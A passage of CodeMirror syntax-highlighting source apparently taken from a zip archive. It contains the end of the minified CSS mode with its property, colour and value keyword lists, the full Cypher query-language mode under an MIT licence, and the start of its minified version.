c,d=!1;null!=(c=a.next());){if(d&&"/"==c){b.tokenize=null;break}d="*"==c}return["comment","comment"]}a.defineMode("css",(function(b,c){function
d(a,b){return o=b,a}function e(a,b){var c=a.next();if(r[c]){var
e=r[c](a,b);if(!1!==e)return
e}return"@"==c?(a.eatWhile(/[\w\\\-]/),d("def",a.current())):"="==c||("~"==c||"|"==c)&&a.eat("=")?d(null,"compare"):'"'==c||"'"==c?(b.tokenize=f(c),b.tokenize(a,b)):"#"==c?(a.eatWhile(/[\w\\\-]/),d("atom","hash")):"!"==c?(a.match(/^\s*\w*/),d("keyword","important")):/\d/.test(c)||"."==c&&a.eat(/\d/)?(a.eatWhile(/[\w.%]/),d("number","unit")):"-"!==c?/[,+>*\/]/.test(c)?d(null,"select-op"):"."==c&&a.match(/^-?[_a-z][_a-z0-9-]*/i)?d("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(c)?d(null,c):a.match(/[\w-.]+(?=\()/)?(/^(url(-prefix)?|domain|regexp)$/.test(a.current().toLowerCase())&&(b.tokenize=g),d("variable
callee","variable")):/[\w\\\-]/.test(c)?(a.eatWhile(/[\w\\\-]/),d("property","word")):d(null,null):/[\d.]/.test(a.peek())?(a.eatWhile(/[\w.%]/),d("number","unit")):a.match(/^-[\w\\\-]*/)?(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?d("variable-2","variable-definition"):d("variable-2","variable")):a.match(/^\w+-/)?d("meta","meta"):void
0}function f(a){return function(b,c){for(var
e,f=!1;null!=(e=b.next());){if(e==a&&!f){")"==a&&b.backUp(1);break}f=!f&&"\\"==e}return(e==a||!f&&")"!=a)&&(c.tokenize=null),d("string","string")}}function
g(a,b){return
a.next(),a.match(/\s*[\"\')]/,!1)?b.tokenize=null:b.tokenize=f(")"),d(null,"(")}function
h(a,b,c){this.type=a,this.indent=b,this.prev=c}function i(a,b,c,d){return
a.context=new h(c,b.indentation()+(!1===d?0:q),a.context),c}function
j(a){return
a.context.prev&&(a.context=a.context.prev),a.context.type}function
k(a,b,c){return F[c.context.type](a,b,c)}function l(a,b,c,d){for(var
e=d||1;e>0;e--)c.context=c.context.prev;return k(a,b,c)}function
m(a){var
b=a.current().toLowerCase();p=B.hasOwnProperty(b)?"atom":A.hasOwnProperty(b)?"keyword":"variable"}var
n=c.inline;c.propertyKeywords||(c=a.resolveMode("text/css"));var
o,p,q=b.indentUnit,r=c.tokenHooks,s=c.documentTypes||{},t=c.mediaTypes||{},u=c.mediaFeatures||{},v=c.mediaValueKeywords||{},w=c.propertyKeywords||{},x=c.nonStandardPropertyKeywords||{},y=c.fontProperties||{},z=c.counterDescriptors||{},A=c.colorKeywords||{},B=c.valueKeywords||{},C=c.allowNested,D=c.lineComment,E=!0===c.supportsAtComponent,F={};return
F.top=function(a,b,c){if("{"==a)return
i(c,b,"block");if("}"==a&&c.context.prev)return
j(c);if(E&&/@component/i.test(a))return
i(c,b,"atComponentBlock");if(/^@(-moz-)?document$/i.test(a))return
i(c,b,"documentTypes");if(/^@(media|supports|(-moz-)?document|import)$/i.test(a))return
i(c,b,"atBlock");if(/^@(font-face|counter-style)/i.test(a))return
c.stateArg=a,"restricted_atBlock_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(a))return"keyframes";if(a&&"@"==a.charAt(0))return
i(c,b,"at");if("hash"==a)p="builtin";else
if("word"==a)p="tag";else{if("variable-definition"==a)return"maybeprop";if("interpolation"==a)return
i(c,b,"interpolation");if(":"==a)return"pseudo";if(C&&"("==a)return
i(c,b,"parens")}return
c.context.type},F.block=function(a,b,c){if("word"==a){var
d=b.current().toLowerCase();return
w.hasOwnProperty(d)?(p="property","maybeprop"):x.hasOwnProperty(d)?(p="string-2","maybeprop"):C?(p=b.match(/^\s*:(?:\s|$)/,!1)?"property":"tag","block"):(p+="
error","maybeprop")}return"meta"==a?"block":C||"hash"!=a&&"qualifier"!=a?F.top(a,b,c):(p="error","block")},F.maybeprop=function(a,b,c){return":"==a?i(c,b,"prop"):k(a,b,c)},F.prop=function(a,b,c){if(";"==a)return
j(c);if("{"==a&&C)return
i(c,b,"propBlock");if("}"==a||"{"==a)return
l(a,b,c);if("("==a)return
i(c,b,"parens");if("hash"!=a||/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(b.current())){if("word"==a)m(b);else
if("interpolation"==a)return
i(c,b,"interpolation")}else p+="
error";return"prop"},F.propBlock=function(a,b,c){return"}"==a?j(c):"word"==a?(p="property","maybeprop"):c.context.type},F.parens=function(a,b,c){return"{"==a||"}"==a?l(a,b,c):")"==a?j(c):"("==a?i(c,b,"parens"):"interpolation"==a?i(c,b,"interpolation"):("word"==a&&m(b),"parens")},F.pseudo=function(a,b,c){return"meta"==a?"pseudo":"word"==a?(p="variable-3",c.context.type):k(a,b,c)},F.documentTypes=function(a,b,c){return"word"==a&&s.hasOwnProperty(b.current())?(p="tag",c.context.type):F.atBlock(a,b,c)},F.atBlock=function(a,b,c){if("("==a)return
i(c,b,"atBlock_parens");if("}"==a||";"==a)return
l(a,b,c);if("{"==a)return
j(c)&&i(c,b,C?"block":"top");if("interpolation"==a)return
i(c,b,"interpolation");if("word"==a){var
d=b.current().toLowerCase();p="only"==d||"not"==d||"and"==d||"or"==d?"keyword":t.hasOwnProperty(d)?"attribute":u.hasOwnProperty(d)?"property":v.hasOwnProperty(d)?"keyword":w.hasOwnProperty(d)?"property":x.hasOwnProperty(d)?"string-2":B.hasOwnProperty(d)?"atom":A.hasOwnProperty(d)?"keyword":"error"}return
c.context.type},F.atComponentBlock=function(a,b,c){return"}"==a?l(a,b,c):"{"==a?j(c)&&i(c,b,C?"block":"top",!1):("word"==a&&(p="error"),c.context.type)},F.atBlock_parens=function(a,b,c){return")"==a?j(c):"{"==a||"}"==a?l(a,b,c,2):F.atBlock(a,b,c)},F.restricted_atBlock_before=function(a,b,c){return"{"==a?i(c,b,"restricted_atBlock"):"word"==a&&"@counter-style"==c.stateArg?(p="variable","restricted_atBlock_before"):k(a,b,c)},F.restricted_atBlock=function(a,b,c){return"}"==a?(c.stateArg=null,j(c)):"word"==a?(p="@font-face"==c.stateArg&&!y.hasOwnProperty(b.current().toLowerCase())||"@counter-style"==c.stateArg&&!z.hasOwnProperty(b.current().toLowerCase())?"error":"property","maybeprop"):"restricted_atBlock"},F.keyframes=function(a,b,c){return"word"==a?(p="variable","keyframes"):"{"==a?i(c,b,"top"):k(a,b,c)},F.at=function(a,b,c){return";"==a?j(c):"{"==a||"}"==a?l(a,b,c):("word"==a?p="tag":"hash"==a&&(p="builtin"),"at")},F.interpolation=function(a,b,c){return"}"==a?j(c):"{"==a||";"==a?l(a,b,c):("word"==a?p="variable":"variable"!=a&&"("!=a&&")"!=a&&(p="error"),"interpolation")},{startState:function(a){return{tokenize:null,state:n?"block":"top",stateArg:null,context:new
h(n?"block":"top",a||0,null)}},token:function(a,b){if(!b.tokenize&&a.eatSpace())return
null;var c=(b.tokenize||e)(a,b);return
c&&"object"==typeof
c&&(o=c[1],c=c[0]),p=c,"comment"!=o&&(b.state=F[b.state](o,a,b)),p},indent:function(a,b){var
c=a.context,d=b&&b.charAt(0),e=c.indent;return"prop"!=c.type||"}"!=d&&")"!=d||(c=c.prev),c.prev&&("}"!=d||"block"!=c.type&&"top"!=c.type&&"interpolation"!=c.type&&"restricted_atBlock"!=c.type?(")"!=d||"parens"!=c.type&&"atBlock_parens"!=c.type)&&("{"!=d||"at"!=c.type&&"atBlock"!=c.type)||(e=Math.max(0,c.indent-q)):(c=c.prev,e=c.indent)),e},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:"
* ",lineComment:D,fold:"brace"}}));var
d=["domain","regexp","url","url-prefix"],e=b(d),f=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],g=b(f),h=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid","orientation","device-pixel-ratio","min-device-pixel-ratio","max-device-pixel-ratio","pointer","any-pointer","hover","any-hover"],i=b(h),j=["landscape","portrait","none","coarse","fine","on-demand","hover","interlace","progressive"],k=b(j),l=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backdrop-filter","backface-visibility","background","background-attachment","background-blend-mode","background-clip","background-color","background-image","background-origin","background-position","background-position-x","background-position-y","background-repeat","background-size","baseline-shift","binding","bleed","block-size","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","caret-color","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","contain","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-family","font-feature-settings","font-kerning","font-language-override","font-optical-sizing","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-variation-settings","font-weight","gap","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-rows","grid-column","grid-column-end","grid-column-gap","grid-column-start","grid-gap","grid-row","grid-row-end","grid-row-gap","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","inset","inset-block","inset-block-end","inset-block-start","inset-inline","inset-inline-end","inset-inline-start","isolation","justify-content","justify-items","justify-self","left","letter-spacing","line-break","line-height","line-height-step","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-block-size","max-height","max-inline-size","max-width","min-block-size","min-height","min-inline-size","min-width","mix-blend-mode","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","offset","offset-anchor","offset-distance","offset-path","offset-position","offset-rotate","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","place-content","place-items","place-self","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotate","rotation","rotation-point","row-gap","ruby-align","ruby-overhang","ruby-position","ruby-span","scale","scroll-behavior","scroll-margin","scroll-margin-block","scroll-margin-block-end","scroll-margin-block-start","scroll-margin-bottom","scroll-margin-inline","scroll-margin-inline-end","scroll-margin-inline-start","scroll-margin-left","scroll-margin-right","scroll-margin-top","scroll-padding","scroll-padding-block","scroll-padding-block-end","scroll-padding-block-start","scroll-padding-bottom","scroll-padding-inline","scroll-padding-inline-end","scroll-padding-inline-start","scroll-padding-left","scroll-padding-right","scroll-padding-top","scroll-snap-align","scroll-snap-type","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-combine-upright","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-skip-ink","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-orientation","text-outline","text-overflow","text-rendering","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","translate","unicode-bidi","user-select","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","writing-mode","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],m=b(l),n=["border-block","border-block-color","border-block-end","border-block-end-color","border-block-end-style","border-block-end-width","border-block-start","border-block-start-color","border-block-start-style","border-block-start-width","border-block-style","border-block-width","border-inline","border-inline-color","border-inline-end","border-inline-end-color","border-inline-end-style","border-inline-end-width","border-inline-start","border-inline-start-color","border-inline-start-style","border-inline-start-width","border-inline-style","border-inline-width","margin-block","margin-block-end","margin-block-start","margin-inline","margin-inline-end","margin-inline-start","padding-block","padding-block-end","padding-block-start","padding-inline","padding-inline-end","padding-inline-start","scroll-snap-stop","scrollbar-3d-light-color","scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-track-color","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","shape-inside","zoom"],o=b(n),p=["font-display","font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],q=b(p),r=["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"],s=b(r),t=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],u=b(t),v=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","auto-flow","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","color","color-burn","color-dodge","column","column-reverse","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","darken","dashed","decimal","decimal-leading-zero","default","default-button","dense","destination-atop","destination-in","destination-out","destination-over","devanagari","difference","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","exclusion","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","flex-end","flex-start","footnotes","forwards","from","geometricPrecision","georgian","graytext","grid","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hard-light","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","hue","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-grid","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","lighten","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","luminosity","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","multiply","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","numbers","numeric","nw-resize","nwse-resize","oblique","octal","opacity","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","perspective","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radial-gradient","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeating-linear-gradient","repeating-radial-gradient","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","rotate","rotate3d","rotateX","rotateY","rotateZ","round","row","row-resize","row-reverse","rtl","run-in","running","s-resize","sans-serif","saturation","scale","scale3d","scaleX","scaleY","scaleZ","screen","scroll","scrollbar","scroll-position","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","self-start","self-end","semi-condensed","semi-expanded","separate","serif","show","sidama","simp-chinese-formal","simp-chinese-informal","single","skew","skewX","skewY","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","soft-light","solid","somali","source-atop","source-in","source-out","source-over","space","space-around","space-between","space-evenly","spell-out","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","symbolic","symbols","system-ui","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","tamil","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","trad-chinese-formal","trad-chinese-informal","transform","translate","translate3d","translateX","translateY","translateZ","transparent","ultra-condensed","ultra-expanded","underline","unset","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","var","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","words","wrap","wrap-reverse","x-large","x-small","xor","xx-large","xx-small"],w=b(v),x=d.concat(f).concat(h).concat(j).concat(l).concat(n).concat(t).concat(v);a.registerHelper("hintWords","css",x),a.defineMIME("text/css",{documentTypes:e,mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,fontProperties:q,counterDescriptors:s,colorKeywords:u,valueKeywords:w,tokenHooks:{"/":function(a,b){return!!a.eat("*")&&(b.tokenize=c,c(a,b))}},name:"css"}),a.defineMIME("text/x-scss",{mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,colorKeywords:u,valueKeywords:w,fontProperties:q,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(a,b){return
a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=c,c(a,b)):["operator","operator"]},":":function(a){return!!a.match(/\s*\{/,!1)&&[null,null]},$:function(a){return
a.match(/^[\w-]+/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(a){return!!a.eat("{")&&[null,"interpolation"]}},name:"css",helperType:"scss"}),a.defineMIME("text/x-less",{mediaTypes:g,mediaFeatures:i,mediaValueKeywords:k,propertyKeywords:m,nonStandardPropertyKeywords:o,colorKeywords:u,valueKeywords:w,fontProperties:q,allowNested:!0,lineComment:"//",tokenHooks:{"/":function(a,b){return
a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=c,c(a,b)):["operator","operator"]},"@":function(a){return
a.eat("{")?[null,"interpolation"]:!a.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/i,!1)&&(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"}),a.defineMIME("text/x-gss",{documentTypes:e,mediaTypes:g,mediaFeatures:i,propertyKeywords:m,nonStandardPropertyKeywords:o,fontProperties:q,counterDescriptors:s,colorKeywords:u,valueKeywords:w,supportsAtComponent:!0,tokenHooks:{"/":function(a,b){return!!a.eat("*")&&(b.tokenize=c,c(a,b))}},name:"css",helperType:"gss"})}));PKE��[�
~�� codemirror/mode/cypher/cypher.jsnu�[���// CodeMirror,
copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// By the Neo4j Team and contributors.
// https://github.com/neo4j-contrib/CodeMirror

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var wordRegexp = function(words) {
    return new RegExp("^(?:" + words.join("|") +
")$", "i");
  };

  CodeMirror.defineMode("cypher", function(config) {
    var tokenBase = function(stream/*, state*/) {
      var ch = stream.next();
      if (ch ==='"') {
        stream.match(/.*?"/);
        return "string";
      }
      if (ch === "'") {
        stream.match(/.*?'/);
        return "string";
      }
      if (/[{}\(\),\.;\[\]]/.test(ch)) {
        curPunc = ch;
        return "node";
      } else if (ch === "/" && stream.eat("/"))
{
        stream.skipToEnd();
        return "comment";
      } else if (operatorChars.test(ch)) {
        stream.eatWhile(operatorChars);
        return null;
      } else {
        stream.eatWhile(/[_\w\d]/);
        if (stream.eat(":")) {
          stream.eatWhile(/[\w\d_\-]/);
          return "atom";
        }
        var word = stream.current();
        if (funcs.test(word)) return "builtin";
        if (preds.test(word)) return "def";
        if (keywords.test(word) || systemKeywords.test(word)) return
"keyword";
        return "variable";
      }
    };
    var pushContext = function(state, type, col) {
      return state.context = {
        prev: state.context,
        indent: state.indent,
        col: col,
        type: type
      };
    };
    var popContext = function(state) {
      state.indent = state.context.indent;
      return state.context = state.context.prev;
    };
    var indentUnit = config.indentUnit;
    var curPunc;
    var funcs = wordRegexp(["abs", "acos",
"allShortestPaths", "asin", "atan",
"atan2", "avg", "ceil", "coalesce",
"collect", "cos", "cot", "count",
"degrees", "e", "endnode", "exp",
"extract", "filter", "floor",
"haversin", "head", "id", "keys",
"labels", "last", "left", "length",
"log", "log10", "lower", "ltrim",
"max", "min", "node", "nodes",
"percentileCont", "percentileDisc", "pi",
"radians", "rand", "range",
"reduce", "rel", "relationship",
"relationships", "replace", "reverse",
"right", "round", "rtrim",
"shortestPath", "sign", "sin",
"size", "split", "sqrt",
"startnode", "stdev", "stdevp",
"str", "substring", "sum", "tail",
"tan", "timestamp", "toFloat",
"toInt", "toString", "trim",
"type", "upper"]);
    var preds = wordRegexp(["all", "and",
"any", "contains", "exists", "has",
"in", "none", "not", "or",
"single", "xor"]);
    var keywords = wordRegexp(["as", "asc",
"ascending", "assert", "by",
"case", "commit", "constraint",
"create", "csv", "cypher",
"delete", "desc", "descending",
"detach", "distinct", "drop",
"else", "end", "ends", "explain",
"false", "fieldterminator", "foreach",
"from", "headers", "in", "index",
"is", "join", "limit", "load",
"match", "merge", "null", "on",
"optional", "order", "periodic",
"profile", "remove", "return",
"scan", "set", "skip", "start",
"starts", "then", "true", "union",
"unique", "unwind", "using",
"when", "where", "with", "call",
"yield"]);
    var systemKeywords = wordRegexp(["access",
"active", "assign", "all", "alter",
"as", "catalog", "change", "copy",
"create", "constraint", "constraints",
"current", "database", "databases",
"dbms", "default", "deny", "drop",
"element", "elements", "exists",
"from", "grant", "graph", "graphs",
"if", "index", "indexes", "label",
"labels", "management", "match",
"name", "names", "new", "node",
"nodes", "not", "of", "on",
"or", "password", "populated",
"privileges", "property", "read",
"relationship", "relationships", "remove",
"replace", "required", "revoke",
"role", "roles", "set", "show",
"start", "status", "stop",
"suspended", "to", "traverse",
"type", "types", "user", "users",
"with", "write"]);
    var operatorChars = /[*+\-<>=&|~%^]/;

    return {
      startState: function(/*base*/) {
        return {
          tokenize: tokenBase,
          context: null,
          indent: 0,
          col: 0
        };
      },
      token: function(stream, state) {
        if (stream.sol()) {
          if (state.context && (state.context.align == null)) {
            state.context.align = false;
          }
          state.indent = stream.indentation();
        }
        if (stream.eatSpace()) {
          return null;
        }
        var style = state.tokenize(stream, state);
        if (style !== "comment" && state.context
&& (state.context.align == null) && state.context.type !==
"pattern") {
          state.context.align = true;
        }
        if (curPunc === "(") {
          pushContext(state, ")", stream.column());
        } else if (curPunc === "[") {
          pushContext(state, "]", stream.column());
        } else if (curPunc === "{") {
          pushContext(state, "}", stream.column());
        } else if (/[\]\}\)]/.test(curPunc)) {
          while (state.context && state.context.type ===
"pattern") {
            popContext(state);
          }
          if (state.context && curPunc === state.context.type) {
            popContext(state);
          }
        } else if (curPunc === "." && state.context
&& state.context.type === "pattern") {
          popContext(state);
        } else if (/atom|string|variable/.test(style) &&
state.context) {
          if (/[\}\]]/.test(state.context.type)) {
            pushContext(state, "pattern", stream.column());
          } else if (state.context.type === "pattern" &&
!state.context.align) {
            state.context.align = true;
            state.context.col = stream.column();
          }
        }
        return style;
      },
      indent: function(state, textAfter) {
        var firstChar = textAfter && textAfter.charAt(0);
        var context = state.context;
        if (/[\]\}]/.test(firstChar)) {
          while (context && context.type === "pattern") {
            context = context.prev;
          }
        }
        var closing = context && firstChar === context.type;
        if (!context) return 0;
        if (context.type === "keywords") return
CodeMirror.commands.newlineAndIndent;
        if (context.align) return context.col + (closing ? 0 : 1);
        return context.indent + (closing ? 0 : indentUnit);
      }
    };
  });

  CodeMirror.modeExtensions["cypher"] = {
    autoFormatLineBreaks: function(text) {
      var i, lines, reProcessedPortion;
      var lines = text.split("\n");
      var reProcessedPortion = /\s+\b(return|where|order
by|match|with|skip|limit|create|delete|set)\b\s/g;
      for (var i = 0; i < lines.length; i++)
        lines[i] = lines[i].replace(reProcessedPortion, " \n$1
").trim();
      return lines.join("\n");
    }
  };

  CodeMirror.defineMIME("application/x-cypher-query",
"cypher");

});
PKE��[��4��$codemirror/mode/cypher/cypher.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";var b=function(a){return new
RegExp("^(?:"+a.join("|")+")$","i")};a.defineMode("cypher",(function(c){var
d,e=function(a){var b=a.next();if('"'===b)return
a.match(/.*?"/),"string";if("'"===b)return
